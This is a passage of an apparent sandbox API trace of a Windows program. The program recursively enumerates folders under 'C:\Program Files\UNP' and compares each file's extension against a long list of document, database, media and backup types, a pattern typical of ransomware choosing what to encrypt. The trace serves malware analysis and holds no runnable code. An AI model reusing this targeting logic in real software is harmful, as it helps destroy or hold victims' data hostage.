cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.161] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.161] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.161] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.162] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0185.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.163] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.164] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.164] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.164] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.164] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.164] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.164] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.165] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.165] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0185.165] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.282] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.282] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.283] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.283] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.283] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.283] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.283] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.284] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0185.284] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0185.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.304] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.304] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.304] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.304] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.304] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.305] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.305] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.306] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0185.306] FindClose (in: hFindFile=0x484ad8 | out: hFindFile=0x484ad8) returned 1 [0185.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0185.306] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0185.306] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0 [0185.306] FindClose (in: hFindFile=0x484a98 | out: hFindFile=0x484a98) returned 1 [0185.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0185.306] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0185.306] FindClose (in: hFindFile=0x485058 | out: hFindFile=0x485058) returned 1 [0185.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0185.309] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0185.309] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0185.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0185.309] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0185.309] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4100f88 [0185.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0185.312] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.312] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1 [0185.312] lstrlenW (lpString="UniversalNotificationPlatform.001.etl") returned 37 [0185.312] lstrlenW (lpString=".1cd") returned 4 [0185.312] lstrcmpiW (lpString1=".1cd", lpString2=".etl") returned -1 [0185.312] lstrlenW (lpString=".3ds") returned 4 [0185.312] lstrcmpiW (lpString1=".3ds", lpString2=".etl") returned -1 [0185.312] lstrlenW (lpString=".3fr") returned 4 [0185.312] lstrcmpiW (lpString1=".3fr", lpString2=".etl") returned -1 [0185.313] lstrlenW (lpString=".3g2") returned 4 [0185.313] lstrcmpiW (lpString1=".3g2", lpString2=".etl") returned -1 [0185.313] lstrlenW (lpString=".3gp") returned 4 [0185.313] lstrcmpiW (lpString1=".3gp", lpString2=".etl") returned -1 [0185.313] lstrlenW (lpString=".7z") returned 3 [0185.313] lstrcmpiW (lpString1=".7z", lpString2="etl") returned -1 [0185.313] lstrlenW (lpString=".accda") returned 6 [0185.313] lstrcmpiW (lpString1=".accda", lpString2="01.etl") returned -1 [0185.313] lstrlenW (lpString=".accdb") returned 6 [0185.313] lstrcmpiW (lpString1=".accdb", lpString2="01.etl") returned -1 [0185.313] lstrlenW (lpString=".accdc") returned 6 [0185.313] lstrcmpiW (lpString1=".accdc", lpString2="01.etl") returned -1 [0185.313] lstrlenW (lpString=".accde") returned 6 [0185.313] lstrcmpiW (lpString1=".accde", lpString2="01.etl") returned -1 [0185.313] lstrlenW (lpString=".accdt") returned 6 [0185.313] lstrcmpiW (lpString1=".accdt", lpString2="01.etl") returned -1 [0185.313] lstrlenW (lpString=".accdw") returned 6 [0185.313] lstrcmpiW (lpString1=".accdw", lpString2="01.etl") returned -1 [0185.313] lstrlenW (lpString=".adb") returned 4 [0185.313] lstrcmpiW (lpString1=".adb", lpString2=".etl") returned -1 [0185.313] lstrlenW (lpString=".adp") returned 4 [0185.313] lstrcmpiW (lpString1=".adp", lpString2=".etl") returned -1 [0185.313] lstrlenW (lpString=".ai") returned 3 [0185.313] lstrcmpiW (lpString1=".ai", lpString2="etl") returned -1 [0185.313] lstrlenW (lpString=".ai3") returned 4 [0185.313] lstrcmpiW (lpString1=".ai3", lpString2=".etl") returned -1 [0185.313] lstrlenW (lpString=".ai4") returned 4 [0185.314] lstrcmpiW (lpString1=".ai4", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".ai5") returned 4 [0185.314] lstrcmpiW (lpString1=".ai5", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".ai6") returned 4 [0185.314] lstrcmpiW (lpString1=".ai6", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".ai7") returned 4 [0185.314] lstrcmpiW (lpString1=".ai7", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".ai8") returned 4 [0185.314] lstrcmpiW (lpString1=".ai8", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".anim") returned 5 [0185.314] lstrcmpiW (lpString1=".anim", lpString2="1.etl") returned -1 [0185.314] lstrlenW (lpString=".arw") returned 4 [0185.314] lstrcmpiW (lpString1=".arw", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".as") returned 3 [0185.314] lstrcmpiW (lpString1=".as", lpString2="etl") returned -1 [0185.314] lstrlenW (lpString=".asa") returned 4 [0185.314] lstrcmpiW (lpString1=".asa", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".asc") returned 4 [0185.314] lstrcmpiW (lpString1=".asc", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".ascx") returned 5 [0185.314] lstrcmpiW (lpString1=".ascx", lpString2="1.etl") returned -1 [0185.314] lstrlenW (lpString=".asm") returned 4 [0185.314] lstrcmpiW (lpString1=".asm", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".asmx") returned 5 [0185.314] lstrcmpiW (lpString1=".asmx", lpString2="1.etl") returned -1 [0185.314] lstrlenW (lpString=".asp") returned 4 [0185.314] lstrcmpiW (lpString1=".asp", lpString2=".etl") returned -1 [0185.314] lstrlenW (lpString=".aspx") returned 5 [0185.314] lstrcmpiW (lpString1=".aspx", lpString2="1.etl") returned -1 [0185.315] lstrlenW (lpString=".asr") returned 4 [0185.315] lstrcmpiW (lpString1=".asr", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".asx") returned 4 [0185.315] lstrcmpiW (lpString1=".asx", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".avi") returned 4 [0185.315] lstrcmpiW (lpString1=".avi", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".avs") returned 4 [0185.315] lstrcmpiW (lpString1=".avs", lpString2=".etl") returned -1 [0185.315] lstrlenW (lpString=".backup") returned 7 [0185.315] lstrcmpiW (lpString1=".backup", lpString2="001.etl") returned -1 [0185.315] lstrlenW (lpString=".bak") returned 4 